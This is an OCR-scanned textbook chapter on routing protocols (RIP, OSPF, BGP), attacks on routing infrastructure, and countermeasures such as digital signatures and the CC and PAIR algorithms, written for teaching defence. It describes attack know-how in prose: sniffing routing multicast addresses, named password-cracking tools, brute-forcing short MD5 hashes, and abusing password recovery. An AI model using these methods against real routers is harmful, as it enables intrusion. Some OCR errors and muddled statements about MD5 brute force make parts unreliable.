collection of IP networks and routers under the same administration that share a
common routing strategy (see Fig. 3.2). An Internet service provider (ISP) is the
typical example of an AS. For the outside world, an AS is regarded as a single
routing entity. Each AS must has a 16-bit AS number, which is unique and as-
signed by a regional Internet registry such as the American Registry of Internet
Numbers (http://www.arin.net). Some routing protocols require the AS number to

make routing decisions.

Fig. 3.2. The Internet comprises a large number of autonomous systems.
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IGP and EGP

The routing protocols used within an AS are called interior gateway protocols
(IGPs), and the ones used between ASs are called exterior gateway protocols
(EGPs). Their main difference is that IGPs provide information on reachable inte-
rior destinations to the outside work, whereas, inversely, EGPs provide informa-
tion on reachable exterior destinations to the interior routers. EGPs are typically
used between ISPs.

Another difference between them is the route determination. IGPs choose
the best path through the network based on some metrics such as distance, delay,
or bandwidth. Therefore, how the metrics are used is an important design issue for
IGPs. In contrast, EGPs choose routes commonly according to a routing policy.

The most commonly used IGPs are Routing Information Protocol (RIP) and
Open Shortest Path First (OSPF), and the most commonly used EGP is Border
Gateway Protocol (BGP). See Table 2.1 for the summary of IGP and EGP.

Table 2.1. Summary of IGP and EGP.

What Representative protocols  Objective

IGP Used within an AS ~ RIP, OSPF To choose route that mini-

mizes some metric

EGP  Used between ASs  BGP To choose routes according

to a routing policy
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3.2.2 Classifications of routing protocol

Different routing protocols use different algorithms and approaches to gather and
disseminate routing information about their area. The algorithms can be classified
into the following three categories, as illustrated in Fig. 3.3:

1. Distance vector

2. Link-state

3. Path vector

1. Distance Vector

Idea:
The routers using the distance vector routing protocol determine the direction and
distance to any link in an internetwork. They have no knowledge about instant
routers and how they interconnect. That is, they do not have the knowledge of the
network topology.

When there is more than one path available to a destination, to determine
which one is the “best”, typically based on hop count, an algorithm has to be used.
Distance vector routing protocols commonly use the Bellman-Ford algorithm to

perform the best path determination.

Operation:

The operation of distance routing protocols is simple. Initially, each router only
knows its directly connected neighbors. Each router sends to its neighbor its own
current idea of the distance from itself to other routers. The neighbor routers will

examine the information and update its knowledge of distance to others. Over
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time, the routers will discover to which direction provides the shortest distance to

reach the destinations.

Good & bad:
The primary advantages of distance-vector routing protocols are simple and effi-
cient in all networks. However, it does not scale well and has poor convergence

properties.

2. Link-State

Idea:
The routers using the link-state routing algorithm have the knowledge of the com-
plete topology of an internetwork, that is, have the knowledge of distant routers
and how they interconnect. With this knowledge, each router is able to independ-
ently determine the best (shortest) path from itself to every other router.

The best path calculation is typically based on the Dijkstra algorithm.
Therefore, the link-state routing algorithm is also known as the Dijkstra algorithm

or as the Shortest Path First (SPF) algorithm.

Operation:

To recreate the topology of an entire internetwork, each router regularly floods the
entire network with the state of its links, and the information about what other
routers it can connect to.

When a router starts up, it only knows about itself in the topology. It will
learn other nodes in the topology as it receives the information from its neighbors.
Over the time, the router will discover all nodes in the topology and be able to
build the complete map of the network topology. With the map, the routing table

can be constructed based on the result of a shortest path algorithm.
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Good & bad:

There are many advantages of link-state routing protocols such as reacting more
quickly to connectivity changes, introducing lower network overhead, and having
a smaller size of routing table. However, link-state protocols are more complex (to

learn, to implement and to configure) and resource intensive.

3. Path Vector

Idea:

The main characteristic of path vector protocols is that a path of autonomous sys-
tem numbers between the source and destination (AS path) is maintained to detect
loops. Since path vector protocols are a class of distance vector protocols, they
also have no knowledge about instant routers and how they interconnect in the
network. When there is more than one path available to a destination, path vector
algorithms typically use the Bellman-Ford algorithm to make the path determina-

tion.

Operation:

The operation is similar to that of distance vector protocols. Each router advertises
its local BGP routing table to its neighbors. As routers relay the advertisements,
they add new routes to its own local routing table based on the contents of the ad-
vertisement. Besides, they add their own AS number to the AS path before send-

ing out the advertisement.
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Good & bad:
The advantage of path vector protocols is that path information can be used to en-
able policy routing. However, policy routing could introduce a more complex

configuration.

Updafc DV

a. Distance Vector Protocol: It uses distance or hop count to determine the best path to a destina-

tion.

b. Link State Protocol: It recreates the exact topology of an entire internetwork so as to calculate
the best forwarding path. A router sends out Link State Advertisements (LSAs) when it has link
update.

Including the path
to destination

& S

c. Path Vector Protocol: It maintains the path of autonomous systems that are traversed in order

to reach the destination system.

Fig. 3.3. Illustrations of routing protocols.
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3.2.3 Popular routing protocols

Among a large number of routing protocols, RIP, OSPF, and BGP have been
widely deployed and evolved to become the de facto standards. RIP and OSPF are
Interior Gateway Protocol (IGP) whereas BGP is an Exterior Gateway Protocol
(EGP). This section provides an overview of their operations.

As a full coverage of the above dynamic routing protocols can be covered in
several chapters or an entire book, this section only provides an overview of them
and provides some information that could facilitate the writing of the rest of this
book. If dynamic routing protocols are new to you, extra resources on the topic are
absolutely necessary. Fortunately, there are dozens of books available covering

from the protocols in general to the configuration of them.

RIP

The Routing Information Protocol (RIP) (see RFC 1058 [1]) is a simple distance
vector routing protocol, and the basic idea is that each router advertises the next
hop and hop count for each destination it can reach to its directly connected
neighbors.

The operation of RIP can be briefly described as follows.

1. Each router initially has a list of locally connected networks in its routing table.

2. Each router periodically advertises its routing table to its directly connected
neighbors.

3. When a router receives such an advertisement, it puts the appropriate routes
shown in the advertisement into its own routing table and updates the corre-
sponding metrics. RIP uses hop count as the metric for route selection, and it
chooses the route with a smaller number of hop count when there are more than

one route available.
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4. In the next periodical advertisement, the router advertises its neighbors this
“enriched” routing table.
RIP has the following characteristics:

e [t is a distance vector IGP routing protocol.

e [t is appropriate for small networks.

e The metric for route selection is hop count (i.e., it does not concern the band-
width).

e The maximum distance is 15 (that is, when the hop count is greater than 15, the
packet is discarded)

e Routing advertisements are broadcast every 30 seconds, by default.

OSPF

The Open Shortest Path First (OSPF) protocol (see RFC 2328 [2]) is a link-state

routing protocol and the basic idea is that, unlike RIP, each router within the net-

work has a clear picture of the network topology. With the picture, each router can

calculate the shortest paths (lowest cost) to a destination.

The operation of OSPF can be briefly described as follows:

. Each router advertises the state of each of its links (e.g., link bandwidth and

reachable neighbors) to every other routers in the network using a Link State

Advertisement (LSA) message.

. After a period time, each router receivers the LSAs from other routers in the

network, and based on the advertisements, each router can build a tree repre-

senting the topology of the network.

. From the tree, each router calculates the best end-to-end path using a Shortest

Path First (SPF) algorithm.

. Finally, routing table can be constructed based on the results of SPF algorithm.
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Note that OSPF can be configured to span many areas, particularly when the
network is large. An area refers to an administrative domain or portion of the
OSPF network. The reason of dividing the network up into areas is to reduce the
size of the topological database that each router must maintain, which can reduce
the overall OSPF traffic sent to the network. For simplicity, this book only con-
siders single-area OSPF.

OSPF has the following characteristics:

e It is a link state IGP routing protocol.

e [t supports multi-level routing hierarchy called area routing.

e The metrics for route selection are more complex than the hop count and in-
clude link cost.

e There is no maximum hop count.

e Uses Dijkstra algorithm

e Routing updates are flooded when there is network topology change.

BGP

The Border Gateway Protocol (BGP) (see RFC 4271 [3]) is a path vector protocol.
The basic idea is that, like RIP, each router exchanges network reachability infor-
mation with its directly connected neighbors. However, unlike RIP, BGP treats
each autonomous system as a single point on the path to any given destination.

In BGP, a set of address (or an IP clock) that is being routed is called a pre-
fix, and the list of autonomous system (AS) that the packet must pass through to
reach the prefix is called A4S path.

The operation of BGP can be briefly described as follows:

1. Initially, each router originates the prefixes it can reaches in addition to its own
AS number, and advertises this information to its neighbors using UPDATE

messages.
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2. When a router receives an advertisement, it adds new routes to its own local
routing table based on the contents of the advertisement. On the other hand, it
adds itself to the AS path before advertising this information to the next router.

3. When a router finds that its AS number has already been included in the AS
path, it rejects the route information in order to prevent the formulation of a
routing loop. However, BGP can only detect loops among autonomous systems
and it cannot ensure there is no loop within an AS.

4. In an update message, apart from prefixes, BGP attributes are included to pro-
vide additional information about those prefixes, such as path preference and

aggregation information.

BGP has the following characteristics:

e [t is a path vector (or advanced distance vector) routing protocol.

e It is mainly used to route traffic among Autonomous Systems.
It is good for very large internetworks.

e A sequence of AS numbers between the source and destination (AS path) is
passed to detect loops.

e It allows policy routing.

e Many things have to be manually configured including neighbors (peers).

3.3 External and internal attacks

Incorrect routing messages could obstruct the network routing operation and cause
the breakdown of one or more domains of the Internet. There are two sources of
incorrect routing information — by internal and external attacks (see Fig. 3.4).
External attacks, also called link attacks, is another source of incorrect rout-
ing information. When an intruder manages to gain access to the communication
link between two routers, it could be able to erase, alter, inject, and replay control

or routing traffic over the link, obstructing the routing operation of the network. It
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could also generate folds of spurious messages to deny the service of a network
link.

Internal attacks, also called router attacks, refers to the situation that the in-
correct routing information is sent from a router. The router could be compro-
mised or faulty. It could disobey the protocol and advertise false or malicious
routing information. The router could also make arbitrary routing decisions, caus-
ing network unstable.

As can be seen, attacks to the routing infrastructure can be from any part of
the network (links or routers). To ensure the correct routing operation of routing,
the routing update messages must be protected. That is, if the authenticity and in-
tegrity of the update messages can be achieved, most attacks can be prevented.

However, current routing protocols contain minimal or incomplete mecha-
nisms to protect their operations. For example, the authentication mechanism used
in RIP and OSPF is clear-text passwords that can be easily broken with packet
analyzer software (such as Wireshark, which will be discussed in Chapter 5).
Though there are new proposals to provide authenticity and integrity, they com-
monly use cryptographic mechanisms, which are difficult to deploy in practice
because it requires all participating routers having a common authority to issue

and distribute security keys.

PN

\

Subverted link
Subverted router (external attack)

(internal attack)

Fig. 3.4. Routing Attack Source — internal and external.
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3.3.1 External Attacks

3.3.1.1 Finding Routers

To attack the routing infrastructure, the first thing to know is the information of
routers. There are a number of ways to obtain the information. A simple example
is the default gateway. Each host computer in a network is configured with the
default gateway, which indicates where should be sent to for the IP packets with
destination address outside the local subnet. The correct operation of the default
gateway is critical for the hosts in a network to communicate with the outside
world.

Another simple way to learn the information of routers is the use of the
traceroute utility. The utility traces a packet from a computer to an Internet host
and reports all the hops (routers) the packet has gone through. The merit of
traceroute is that if you find a web server responding slowly, you can use the util-
ity to figure out where is the longest delay. However, the information of the
routers between any two ends is revealing for attackers.

To learn the infrastructure information, the best way is to listen to routers’
signaling, that is, to listen to what they are talking to each other. In fact, any host
computer which shares the same broadcast domain with the routers or knows the
corresponding multicast address (see below), is able to obtain the routing protocol
messages.

RIPvI: broadcast

RIPv2: multicast address 224.0.0.9

OSPF: multicast addresses 224.0.0.5 & 224.0.0.6

EIGRP: multicast address 224.0.0.10
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By examining the content of these routing messages, the information of the routers
and the network topology can be learnt.

There are some countermeasures for routing protocol enumeration. Though
the routing updates have to be distributed, they can be done on a need-to-receive
basis. Most routers support route distribution lists that are used to restrict the
spread of routing updates. For example, the routing updates should not be spread
cross the boundary routers. Another way to present routing updates from being
disclosed by un-authorized routers is the use of authentication with secure encryp-
tion method.

On the other hand, one can use network analyzer software to sniff the net-
work traffic. The traffic can contain information that can be used to map the net-
work and identify its weak points. However, to sniff the traffic, the network inter-
face has to be in promiscuous mode. Therefore, to identify which computer is
sniffing the traffic, we can detect which network interfaces are in promiscuous

mode. There are many tools available on the Internet to do this detection.

3.3.1.2 Forms of Link attacks

Link attacks occur when the access to a link of a network is obtained. Through
link attacks, routing update messages suffer from the following threats (see Table

3.1 for a summary of them):

Interruption

Modification

Fabrication

Replication

Interruption
It is to intercept routing messages and stop them from propagating further. Though

it is not difficult to achieve, its impact is limited. It is because there is usually
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more than one path between any two ends, and even if an attacker could block a
message from propagating, the victim could still be able to receive the message
from other sources.

The common solution to this threat is the use of acknowledgments. That is,
the receiving node has to acknowledge the sending node that it has received the
routing update message. If the sending node has not received an acknowledgment
in a predefined period, it implies that there will be a network problem. However, if
the router is compromised (i.e., internal attack), it can drop the routing messages

but send an acknowledgement — still achieving interruption.

Modificiation and fabricaton

Modification is to modify the content of existing routing update messages,
whereas fabrication is to create new update messages that look legitimate. These
two attacks are highly dangerous because the routing structure of a network can be
obstructed.

To fight against these threats, the authenticity and integrity of update mes-
sages have to be provided. The common solution is the use of digital signatures
(will be discussed soon) that encrypt and authenticate messages with security
keys. However, this solution increases the size of update messages. Larger mes-
sages consume more bandwidth, which is particularly undesirable for distance

vector protocols because they exchange update messages frequently.

Replicatoin

Replication is to capture routing update messages and replay them at a later time.
Replying out-dated routing messages prevents the network nodes from receiving
the latest network status, disrupting the evolution of the routing structure. None-
theless, the effect caused by this kind of attack is limited since it is only viable
when a router sends multiple updates within a very short period of time (due to the

sequence numbers of updates).
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The use of digital signature cannot solve this type of attacks, since the up-
dates are valid (as the content of updates has not been changed). Sequence number
is one solution to prevent this attack. By assigning each new update message a
bigger sequence number, the receiving nodes are able to determine whether the
received update message is latest or out-dated. The sequence number can be im-
plemented in the form of an incremental integer, but the maximum allowable
value of the integer will be eventually reached. The sequence number can also be
in the form of timestamp. However, the messages within the same clock period

can be replayed.

Table 3.1. Summary of the threats of external attacks.

Threat What Impact Common Solution

Interruption ~ Preventing routing updates to  Limited Acknowledgement

reach authorized routers

Modification Altering the contents of routing Highly dangerous Digital Signatures
updates

Fabrication  Creating a routing update that ~ Highly dangerous Digital Signatures
appears to be coming from a le-

gitimate router

Replication  Getting hold of a routing update Limited Sequence number

and replaying it later

3.3.1.3 Digital signature - the common solution to external attacks

Routing protocols would be at high risk from link attacks if they do not use any

kind of authentication mechanism. Password provides a basic mechanism to au-
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thenticate routing update messages. Since attackers are not supposed to have the
knowledge of the password, they are unable to forge an update that looks legiti-
mate.

Many existing routing protocols such as RIP2, OSPF, and BGP support
password authentication. However, many of them transfer password in clear text
format, which allows the password to be sniffed and broken. Once the password is
known, the attacker can generate and advertise malicious update messages that
contain correct password.

Although password is a weak authentication mechanism, it is easy to im-
plement and has low operation overhead. It could serve as the basic security policy
and should be supported by every routing protocol. However, as long as the at-
tacker has a sense of what is sniffer (which can capture network traffic), discover-
ing the packets storing the password in clear plain text in the network will be an
easy job for him/her.

To provide a secure way of exchanging routing update messages, digital
signature can be applied. Digital signature is a mechanism to ensure the integrity
and authenticity of update messages. Before using it, a certificate authority (CA)
trusted by all routers has to exist. The authority is responsible to issue a pair of
Public Key and Private Key to all the routers in the network.

Each router keeps its Private Key in secret but makes its Public Key avail-
able to others. The protection of Private Key depends on local implementation.
The Public Key distribution can be achieved by different ways. It can rely on a
new protocol or mechanism which is independent of the routing protocol to dis-
tribute the key. It can also add a new message type in the existing routing proto-

cols to convey the key.
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[ N

Router C

Router A Routing Update Router B

Router D

Fig. 3.5. Example of digital signature for routing updates.
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For example, in Fig. 3.5, Router A wants to advertise a routing update to

Router B, the operation is followed:

1. Router A encrypts the routing update using Router B’s Public Key (so that only

Router B can decrypt the update).

2. Router A also attaches a signature to the encrypted update. The signature is en-

crypted using Router A’s Private Key.

3. Router B decrypts the signature using Router A’s Public Key when it receives

the update. If it is successful, Router A’s identity is verified.

4. Router B then decrypts the encrypted routing update using its Private Key.

If Router B wants to send routing updates to other routers, it will follow the same

operations as Router A does. The usages of security keys in digital signature au-

thentication mechanism are summarized below:

To do By using
Sender Encrypt update message Receiver’s Public Key
Encrypt signature Sender’s Private Key
Receiver Decrypt update message Receiver’s Private Key
Decrypt signature Sender’s Public Key
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Since keys are issued by a common authority and Private Key is kept in pri-
vate, attackers are almost unable to advertise fake update messages. Digital signa-
ture provides authentication, integrity and non-repudiation of update message.
However, using digital signature will introduce network bandwidth overhead as
each routing update is attached a signature which is typically between 128 to 1024
bits long. It is acceptable in link state routing protocols because they transmit
link-state advertisements infrequently. However, distance vector protocols will
suffer from excessive bandwidth consumption because they exchange distance
vector updates quite frequently. Nonetheless, research community has undertaken
effort to reduce the overhead by proposing techniques that efficiently use of digital
signature.

Besides of bandwidth overhead, computational overhead is another issue.
Encrypting and decrypting messages require routers to have much better process-
ing power than those that simply forward packets.

Another problem with this approach is that it requires the existence of a
public key infrastructure (PKI), which includes a commonly agreed certificate au-
thority to issue and distribute security keys for all participating routers. If the PKI

is not ready, this approach is not viable.

3.3.2 Internal Attacks

Internal attacks, or router attacks, refers to the situation that the incorrect routing

information is sent from a router. There are different kinds of router attack.

Masquerading routers A router successfully forges the identity of an
authorized router. It can occur as a result of the
IP spoofing or source routing attacks.

Subverted routers An authorized router is caused to disobey the
routing protocols, or forced to claim incorrect

system parameter (e.g., link cost). A router can
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be subverted by a number of ways, e.g., mak-
ing use of the bugs in the router operating sys-
tem, mis-configuring the system files, or caus-
ing a router to load malicious software.
Unauthorized routers A router is not authorized but manages to join
the routing network and participate in the
routing protocol exchange dialog. It can occur
if the access control mechanisms are not well

designed or configured.

Since the router itself is malicious, the standard techniques like password and
digital signatures do not work. Different types of routing protocol have different
kinds of countermeasures. In general, the solutions require the cooperation of peer
routers to detect the error. That is, based on the common knowledge of the most
routers, the attack produced by the malicious router can be mitigated.

In the following sections, some possible ways to take control of a router are

discussed.

Breaking into router OS
Network devices perform according to what they are configured to perform. In
other words, whoever controls these devices could control the network. That
means, if a malicious hacker manages to break into a network device, he/she can
instruct or configure the device to perform something harmful to the network. It is
considered to be the worst-case scenario. As the device under control is legitimate
in the network, the peer devices will trust it and hence cause network problems.
Though closed-source router operating system would effectively improve
security, code leakage to outsiders is not absolutely impossible. For example, on
May 13, 2004, SecurityLab, a Russian information security site, reported that the

source code of Cisco IOS versions 12.3 and 12.3t was stolen after the internal
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Cisco network was infringed. As a proof of the incident, the web site published
first 100 lines of the stolen files.

Besides, today, the amount of software network devices (running some form
of Linux) is getting popular, even from Cisco. Though there are positive reasons
of using such software devices, nonetheless, they suffer from the software flaws or

exploitation (e.g., a Linux bug), which increase the chance of being attacked.

B) Configure file exposure

Most network devices use a single file to record the configuration information en-
tered by the network administrator. The file contains sensitive information such as
login passwords, link costs and path priorities. Anyone who manages to access a
device’s configuration file will obtain almost all information about it. Therefore,
the access of the file should be restricted.

However, the completed or partial of configure files could be intentionally
exposed in the public domain. Johnny Long, author of The Google Hacker’s
Guide, has shown that Google can be used to search for vulnerable configuration
files. He even maintains a Google hacking database in his web site
(http://Johnny.ihackstuff.com) containing the search results of vulnerable data by
Google. The database also contains entries for pages containing network or vul-

nerability data.

Password cracking

As mentioned before, who manages to control a device has much control of the
network. A device usually requires a password to login in, and cracking the pass-
word is sometimes the only challenge to break into the device. In some cases, the
methods to do that can be surprisingly simple, such as using default or
easy-guessing passwords, and retrieving the device configure file from TFTP

server that does not need authentication.
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On the other hand, though modern routers support the encryption of pass-
words, it still suffers from being cracked by reverse engineering. For example,
Message-Digest algorithm 5 (MDS5) is a one-way hash function that produces a
cryptographic checksum, called MD5 hash, of the password. Though the hash
function is regarded as strong and secure, in practice, if the length of the password
is short, the reversal of the checksum could be accomplished in a short period of
time.

To crack a MD5 hash, the brute force process can be performed. Brute force
is a trial and error method using many different (or exhaustive) password combi-
nations to defeat an encrypted password. There are a lot of tools performing this

process. For example:

e John the Ripper, (http://www.openwall.com/john)
e HTC-Hydra (http://freeworld.thc.org/thc-hydra)
e Cain & Abel package (http://www.oxid.it/cain.html)

This kind of tools can typically bruteforce a few thousand password combinations
per second. Though this rate is far enough to break the MD5 hash with a long
password, it is sufficient to break the short ones. For example, if the password is at
most four characters long and contains only all letters of the English alphabet in
lower case and numerals, there are 36"4+36"3+36"2+36 = 1727604 combinations,
which requires less than three minutes to crack supposing that the bruteforce rate
is 10000 combinations per section. In Sect. 5.2.6, we will show how it can be im-
plemented in an experiment.

Fortunately, the MDS5 hash is designed in such a way that it would be com-
putationally infeasible to carry out a brute force process. It is because the time re-
quired for the process scales exponentially, not linearly, with increasing password
length. Therefore, a lengthy password containing a mixture of numbers, letters,
and special characters can be assumed to be secure. And it is the most effective

countermeasure for the process of bruteforcing.
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Abusing password recovery

Another way to crack the password is to simply bypass the password login step. It
can be achieved by performing the password recovery process. This process is
supposed to be used for the legitimate administrator to recover the forgotten
password.

The login password is commonly stored in the startup configuration file in
the nonvolatile memory of a router. The password recovery procedure is to in-
struct the router to boot without concerning the configuration file, so that no
password is required during the boot process. Since the recovery procedure is
standard for the similar type of routers, and available on the router manual and the
Internet, attackers have no difficulty to obtain the recovery procedure.

Note that the process only allows the password to be bypassed during the
boot process, and the original setting in the configuration file is still there. There-
fore, as long as the attacker manages to physically access to the router, he/she can
read the configuration file and re-configure the router in the way the attacker
wants.

The only way to prevent this is through the use of basic physical counter-
measure such as locking the router in a rack placed in a secure room with

close-circuit TV monitoring.

3.4 RIP Attacks and Countermeasures

This section focuses on the attacks and countermeasures of Routing Information
Protocol (RIP), which is the representative distance vector routing protocol.

In the RIP network, if there is a malicious router advertising routing update
messages with incorrect information (e.g., wrong hop count). These messages will
be passed through every router within the network. Since the routers do not have
the full network topology (one of the characteristics of distance vector), they will

believe the content of the messages and update its routing table accordingly. It can
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redirect traffic to an undesired path, causing problems such as traffic congestion
and even denial of service.

As can be seen, the problem of RIP is that the routers do not have the picture
of the network topology. To mitigate the attacks to RIP (or distance vector proto-
col), the common knowledge of all the routers in the network can be used. It can
be achieved by running a path-based algorithm in the routers. The following dis-
cusses two path-based algorithms: Consistency Check (CC) and Pivot-based Al-
gorithm for Inconsistency Recovery (PAIR).

3.4.1 Consistency Check Algorithm

Consistency Check (CC) algorithm [4] is one of the path-based solutions for dis-
tance vector routing protocols. It makes use of the predecessor information to ver-
ify the consistency and integrity of a given update entry. Predecessor refers to the
second-to-last hop in the path to a destination.

In the CC algorithm, a distance vector update consists of multiple entries,
and each entry has three columns: 1) destination node, 2) shortest distance, and 3)
the predecessor for each shortest path. Whenever a node receives an update, it car-
ries out a consistency check process to verify the path consistency. During the
consistency check, path will be traced back to each destination. If there is no con-

flict, it implies that the just received update can be trusted.

Identify a correct update

Fig. 3.6 shows an example of running the CC algorithm. In the figure, node 3 has
just advertised a routing update message. After having received this update mes-
sage, its neighbors (i.e., nodes 1, 4 and 5) will perform a consistency check by

tracing the paths from each destination to node 3. Taking node 1 as the example, if
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it starts the checking from the destination node 6 (to node 3), the working of the

algorithm is as follows:

1. Based on the update message (the 6th entry), node 6 is 2 hops away from node
3, and the predecessor in the path is node 4.

2. As the predecessor is node 4, it then traces the path from node 4 to node 3. The
4th entry of the update shows that node 4 is 1 hop away from node 3, and the
predecessor is node 3 itself.

3. As shown in the message (the 3rd entry), node 3 is zero hop away from node 3

and the predecessor is node 3.

Since the number of trace back (3) matches the hop counts (L=3) listed in
the update message, the CC algorithm proves that the path from node 6 to node 3
is consistent. If all paths from the destinations to node 3 are consistent, node 1 will

trust this incoming routing update message from node 3.

Destination Length Predecessor
1 1 3
2 2 1
3 1] 3
B 1 3
5 1 3
6 2 4

Fig. 3.6. An example shows that when node 1 receives the update from node 3, it will carry out a

consistency check.
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Identify an incorrect update

Fig. 3.7 shows an example that the CC algorithm successfully detects an incorrect
routing update message. In the example, node 3 is malicious and advertises the
incorrect update message to its neighbor (nodes 1, 4, and 5). Take node | as an
example again. When node 1 receives the update message, it starts to do the path
consistent check. When tracing the path from node 6 to node 3, it finds that, based
on the entry for node 6 in the message, node 6 is 3 hopes away from node 3 and
the predecessor is node 4. The algorithm then checks the path from node 4 to node
3, and finds that the predecessor is the origin (node 3). As can be seen, the CC al-
gorithm takes only two times for tracing back to the origin, which is inconsistent
with the hope count (L=3) shown in the entry for node 6, implying that this in-

coming update from node 3 is incorrect and cannot be trusted.
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w

Fig. 3.7. An example shows that the CC algorithm in node 1 successfully detects an incorrect

routing update from node 3.
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Fail to identify an incorrect update

However, since node 3 has been compromised, if it is “intelligent” enough, by
having the knowledge of network topology, it can construct a false update that
could fool the CC algorithm. For example, as shown in Fig. 3.8, if the attacker
changes both the hop count (from 2) to 3 and the predecessor (from node 4) to
node 2 for the entry of node 6. When node 1 carries out the CC algorithm, it will
find that the hop count (L=3) is the same as the number of path traces (3) for the

destination of node 6. Therefore, in this case, the CC algorithm fails to detect such

incorrect update.
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Fig. 3.8. An example shows that the CC algorithm fails to detect an incorrect routing update in

which both hop count and predecessor are strategically modified.
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Advantages and Disadvantages

By running the CC algorithm, the receiving node can verify each path based on
the update information. As a result, attacker cannot send an incorrect update mes-
sage without understanding the network topology.

CC is an effective algorithm for checking the correctness of each advertised
path. The complexity of the algorithm is based on the network topology. Since the
“track back” process can be considered as a recursive process, the complexity is
relatively small.

However, although the CC algorithm can detect inconsistent paths, it cannot
recover incorrect path. On the other hand, if the attacker has the knowledge of
network topology, it could construct a “perfect” update that contains incorrect in-

formation but lie the CC algorithm.

3.4.2 Pivot-based Algorithm for Inconsistency Recovery

Pivot-based Algorithm for Inconsistency Recovery (PAIR) is another path-based
algorithm to detect router attacks. The merit of it over the CC algorithm is that it

provides the error recovery functionality.

Operations
When PAIR is used, the routing update message contains the information of
predecessor and path sum (which will be explained very soon) for each destina-
tion. When a node receives an update, it will perform the following steps:

1. Tree Construction

2. Metrics Calculation

3. Detection Procedure

4. Recovery Procedure
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Step 1: Tree Construction
The receiving node will first construct a distance-vector tree based on the prede-
cessor information shown in the received update. The root of the tree is the node
from which the distance vector update is received, i.e., if the update is from node
1, node 1 will become the root.

Fig. 3.9a. shows an example of update from node 1. Based on the predeces-
sor information, the corresponding distance-vector tree can be constructed, as

shown in Fig. 3.9b.

Step 2: Metrics calculation
After that, the following metrics for each node in the distance-vector tree have to
be calculated.

Path length ~ The path length of a node is defined as the number of hops
in the shortest path from the root to it in the tree. For exam-
ple, in Fig. 3.9¢, as the node 3 is two hops away from the
root (node 1), the path length of node 3 is 2.

Path sum The path sum of a node is defined as the sum of all path
lengths passing through and terminating in it. For example,
in Fig. 3.9¢c, the path sum of node 3 is the sum of the path
length of node 4 and its path length, i.e., 5=3+2. On the
other hand, the path sum of node 2 is the sum of the path
lengths of node 3, node 6, and node 2, i.e., 8=5+2+1.

Step 3: Detection Procedure

By comparing the calculated path sum to that shown in the received update, PAIR
is able to determine if the update is valid. If the values are the same, it implies that
the update is correct and can be trusted. If otherwise, it implies the update is inva-

lid.
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As can be seen in Fig. 3.10a, since the calculated path sum is same as the
received path sum, it implies that the update is valid. Fig. 3.10b shows an example
of the detection of an invalid update. In the example, the predecessor and path sum
for node 5 are modified to node 3 and 3 (instead of node 8 and 2). Based on the
content of this update, the distance-vector tree can be constructed and the path
sum for each node can be computed. As can be seen in Fig. 3.20b, the calculated
path sum values for nodes 1, 2, 3, and 8 are different from that shown in the re-

ceived update. Thus, this update is regarded as invalid.

Step 4: Recovery Procedure
If the received update is invalid, PAIR will determine if the error is recoverable.
The determination is based on seven recoverable properties. If the properties are
satisfied, the receiving node will be able to recover from the error. Since the prop-
erties are complex and involved many mathematic notations, they are not dis-

cussed here. The detailed proofs for the properties are referred to [5].

Advantages and Disadvantages
The major advantage of PAIR is that the detection probability is significantly in-
creased. Besides, it is lightweight and has a low complexity, O(n). Nonetheless, it

is more complicated and resource-extensive than the CC logarithm.
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a. The received update from node 1.

b. The distance-vector tree constructed based on the predecessor information.

¢. Hope count and path sum can be computed for each node based on the tree topology.

Fig. 3.9. Tree construction and metric calculation in PAIR.
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a. Detection of consistency. Since the calculated path sum values are the same as the ones shown

in the update, the update is valid.

ID Pred PS
11113
21118
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s [33)
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b. Detection of inconsistency. Since the calculated path sum values are different from the ones

shown in the update, the update is invalid.

Fig. 3.10. Detection examples of PAIR.
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3.5 OSPF Attacks and Countermeasures

3.5.1 OSPF operations

When using link state protocols, each router floods the state of its links to its
neighbors that in turn forwards the information to other routers in the network. As
a result of this information flooding, each router has the link information of all the
routers in the network, and eventually has a picture of the entire network topology.
Open Shortest Path First (OSPF) is the most popular link state protocol. This sec-

tion focuses on the OSPF attacks and countermeasures.

Three Phases of OSPF
The operations of OSPF consist of three phases:

1. Meeting the neighbors
2. Exchanging link information

3. Calculating shortest routes

After meeting the OSPF neighbors in phase 1, each OSPF router puts the
information of the state of its interfaces and adjacencies into a link-state adver-
tisement (LSA) and floods it throughout the routing domain in phase 2. An LSA is
flooded both periodically and whenever the information it carries changes (such as
when a link is removed). After collecting the LSAs from neighbors, a router can
build a link state database that represents the network topology. The database is
then used in phase 3 to calculate the shortest paths to destinations.

As can be seen, phase 2 is crucial to the correct routing operations. If a ma-
licious LSA is received, the content of the link state database and the calculated

shortest paths will become incorrect.
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Link-state advertisement (LSA)

The format of a link-state advertisement (LSA) is shown in Fig. 3.11. Since the
link-state age (LS Age) field is involved in the later discussion, it is described be-
low. The definitions of other fields are referred to RFC 2328 [2].

The LS Age field refers to the age of a LSA in seconds. The originating
router and all routers that propagate an LSA will increment the age of the LSA. It
is initially set to O in the originating router, and incremented by some value (de-
fined by InfTransDelay) on every hop of the flooding procedure.

LS Age is also incremented as the LSA is being held in a router’s database.
When the age reaches the maximum value, defined by MaxAge, it is considered to
be out-dated and should be purged from the router’s database. For Cisco routers,
MaxAge is set to 3600 seconds, though it is not the maximum value that the field
can be set to.

When a router receives two LSA instances (see below for the description of
LSA instance) having identical values of LS Sequence Number and Checksum,
the LS Age field will be examined. The instance having the smaller age is ac-
cepted as most recent except the special case of MaxAge. The instance having the
age of MaxAge is always accepted. It is to allow old LSAs to be purged from the
routing domain quickly.

The LS Checksum field is used to detect data corruption of an LSA. The
calculation of the checksum is based on the complete contents, except the LS Age
field, of the LSA. It allows an LSA’s age can be incremented without updating the
checksum.

Note that there is a distinction between an LSA and an LSA instance:

LSA: An LSA is associated with a particular link. For exam-
ple, router A has a link L to router B. Router A has to

originate a LSA describing that link and flood it in the



96 Network Infrastructure Security

routing domain. An LSA can be uniquely identified by
the LS Type, LS ID, and Advertising Router ID fields
(see Fig. 3.11).

LSA in- An LSA instance refers to the state of a particular LSA
stance: at a particular time. For example, at time #;, router A
floods a LSA instance describing that the cost of link L
is 100; however, later at time #,, router A changes the
cost of link L to 200, then router A has to flood another
LSA instance stating the new cost. Therefore, in the
routing domain, there may be several instances of an
LSA. As an LSA instance can be uniquely identified by
the LS Sequence, LS Checksum, and LS Age fields, to
determine which instance is more recent, these three

fields have to be examined.

0 8 16 24 31
LS Age Options |LS Type

LS ID

Advertising Router

LS Sequence Number

LS Checksum Length

Fig. 3.11. OSPF LSA headers
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3.5.2. Cryptography solutions to link state

Introduction

Cryptography is the common approach to avoid the injection of false LSAs by at-
tackers. In this section, some cryptography-based techniques are presented to pro-
tect the OSPF networks.

In distance vector protocols, a router summarizes the network information it
